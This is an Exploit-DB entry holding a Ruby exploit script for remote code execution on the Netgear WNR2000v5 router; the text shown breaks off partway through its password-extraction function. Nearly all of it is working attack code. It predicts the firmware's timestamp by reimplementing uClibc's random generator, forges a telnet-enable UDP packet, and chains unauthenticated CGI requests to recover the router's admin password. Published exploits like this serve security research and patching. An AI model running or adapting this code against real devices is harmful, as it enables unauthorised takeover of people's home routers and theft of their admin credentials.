Exploit-DB #40949
Description: Netgear WNR2000v5 - Remote Code Execution
Type: remote
Platform: cgi
Date: 2016-12-21
Author: Pedro Ribeiro

Exploit:
#
# Remote code execution in NETGEAR WNR2000v5
# - by Pedro Ribeiro (pedrib@gmail.com) / Agile Information Security
# Released on 20/12/2016
#
# NOTE: this exploit is "alpha" quality and has been deprecated. Please see the modules
# accepted into the Metasploit framework, or https://github.com/pedrib/PoC/tree/master/exploits/metasploit/wnr2000
#
#
# TODO:
# - randomise payload

require 'net/http'
require 'uri'
require 'time'
require 'digest'
require 'openssl'
require 'socket'

####################
# ported from https://git.uclibc.org/uClibc/tree/libc/stdlib/random.c
# and https://git.uclibc.org/uClibc/tree/libc/stdlib/random_r.c

TYPE_3 = 3
BREAK_3 = 128
DEG_3 = 31
SEP_3 = 3

@randtbl =
[
  # we omit TYPE_3 from here, not needed
  [PII_REDACTED], 379960547,[PII_REDACTED],[PII_REDACTED],[PII_REDACTED],
 [PII_REDACTED], -179304937, [PII_REDACTED],[PII_REDACTED], [PII_REDACTED],
  -615974602, 344556628, 939512070, [PII_REDACTED],[PII_REDACTED],
  -812545463, 154635395,[PII_REDACTED], [PII_REDACTED], 525320961,
  [PII_REDACTED], 968117788, -123449607,[PII_REDACTED], 435012392,
  [PII_REDACTED], -911064859, -370259173,[PII_REDACTED],[PII_REDACTED],
  -205601318,
]

@unsafe_state = { 
  "fptr" => SEP_3,
  "rptr" => 0,
  "state" => 0,
  "rand_type" => TYPE_3,
  "rand_deg" => DEG_3,
  "rand_sep" => SEP_3,
  "end_ptr" => DEG_3
}

# Emulate the behaviour of C's srand
def srandom_r (seed)
  state = @randtbl
  if seed == 0
    seed = 1
  end
  state[0] = seed
  
  dst = 0
  word = seed
  kc = DEG_3
  for i in 1..(kc-1)
    hi = word / 127773
    lo = word % 127773
    word = 16807 * lo - 2836 * hi
    if (word < 0)
      word +=[PII_REDACTED]
    end
    dst += 1
    state[dst] = word
  end
  
  @unsafe_state['fptr'] = @unsafe_state['rand_sep']
  @unsafe_state['rptr'] = 0
  
  kc *= 10
  kc -= 1
  while (kc >= 0)
    random_r
    kc -= 1
  end
end
  
# Emulate the behaviour of C's rand  
def random_r
  buf = @unsafe_state
  state = buf['state']
  
  fptr = buf['fptr']
  rptr = buf['rptr']
  end_ptr = buf['end_ptr']
  val = @randtbl[fptr] += @randtbl[rptr]
  
  result = (val >> 1) & 0x7fffffff
  fptr += 1
  if (fptr >= end_ptr)
    fptr = state
    rptr += 1
  else
    rptr += 1
    if (rptr >= end_ptr)
      rptr = state
    end
  end
  buf['fptr'] = fptr
  buf['rptr'] = rptr
  
  result
end
#####################

#####################
# Ruby code ported from https://github.com/insanid/netgear-telenetenable
# 
def telnetenable (username, password)
  mac_pad = @mac.gsub(':', '').upcase.ljust(0x10,"\x00")
  username_pad = username.ljust(0x10, "\x00")
  password_pad = password.ljust(0x21, "\x00")
  cleartext = (mac_pad + username_pad + password_pad).ljust(0x70, "\x00")

  md5 = Digest::MD5.new
  md5.update(cleartext)
  payload = (md5.digest + cleartext).ljust(0x80, "\x00").unpack('N*').pack('V*')

  [CREDENTIAL_REDACTED]+" + password
  cipher = OpenSSL::Cipher::Cipher.new("bf-ecb").send :encrypt
  cipher.key_len = secret_key.length
  cipher.key = secret_key
  cipher.padding = 0
  binary_data = (cipher.update(payload) << cipher.final)
  
  s = UDPSocket.new
  s.send(binary_data.unpack('N*').pack('V*'), 0, @target.split(':')[0], 23)
end
#####################

# Do some crazyness to force Ruby to cast to a single-precision float and
# back to an integer.
# This emulates the behaviour of the soft-fp library and the float cast
# which is done at the end of Netgear's timestamp generator.
def ieee754_round (number)
  [number].pack('f').unpack('f*')[0].to_i
end


# This is the actual algorithm used in the get_timestamp function in
# the Netgear firmware.
def get_timestamp(time)
  srandom_r time
  t0 = random_r
  t1 = 0x17dc65df;
  hi = (t0 * t1) >> 32;
  t2 = t0 >> 31;
  t3 = hi >> 23;
  t3 = t3 - t2;
  t4 = t3 * 0x55d4a80;
  t0 = t0 - t4;
  t0 = t0 + 0x989680;

  ieee754_round(t0)
end

# Default credentials for the router
USERNAME = "admin"
[CREDENTIAL_REDACTED]"

def get_request(uri_str)
  uri = URI.parse(uri_str)
  http = Net::HTTP.new(uri.host, uri.port)
  #http.set_debug_output($stdout)
  request = Net::HTTP::Get.new(uri.request_uri)  
  request.basic_auth(USERNAME, PASSWORD)
  http.request(request)
end

def post_request(uri_str, body)
  uri = URI.parse(uri_str)
  header = { 'Content-Type' => 'application/x-www-form-urlencoded' }
  http = Net::HTTP.new(uri.host, uri.port)
  #http.set_debug_output($stdout)
  request = Net::HTTP::Post.new(uri.request_uri, header)  
  request.basic_auth(USERNAME, PASSWORD)
  request.body = body
  http.request(request)
end

def check
  response = get_request("http://#{@target}/")
  auth = response['WWW-Authenticate']
  if auth != nil
    if auth =~ /WNR2000v5/
      puts "[+] Router is vulnerable and exploitable (WNR2000v5)."
      return
    elsif auth =~ /WNR2000v4/ || auth =~ /WNR2000v3/
      puts "[-] Router is vulnerable, but this exploit might not work (WNR2000v3 or v4)."
      return
    end
  end
  puts "Router is not vulnerable."
end

def get_password
  response = get_request("http://#{@target}/BRS_netgear_success.html")
  if response.body =~ /var sn="([\w]*)";/
    serial = $1
  else
    puts "[-]Failed to obtain serial number, bailing out..."
    exit(1)
  end
  
  # 1: send serial number
  response = post_request("http://#{@target}/apply_noauth.cgi?/unauth.cgi", "submit_flag=match_sn&serial_num=#{serial}&continue=+Continue+")

  # 2: send answer to secret questions
  response = post_request("http://#{@target}/apply_noauth.cgi?/securityquestions.cgi", \
    "submit_flag=security_question&answer1=secretanswer1&answer2=secretanswer2&continue=+Continue+")
  
  # 3: PROFIT!!!
  response = get_request("http://#{@target}/passwordrecovered.cgi")
  
  if response.body =~ /Admin Password: (.*)<\/TD>/
    password = $1
  else
    puts "[-] Failed to obtain admin password, bailing out..."
    exit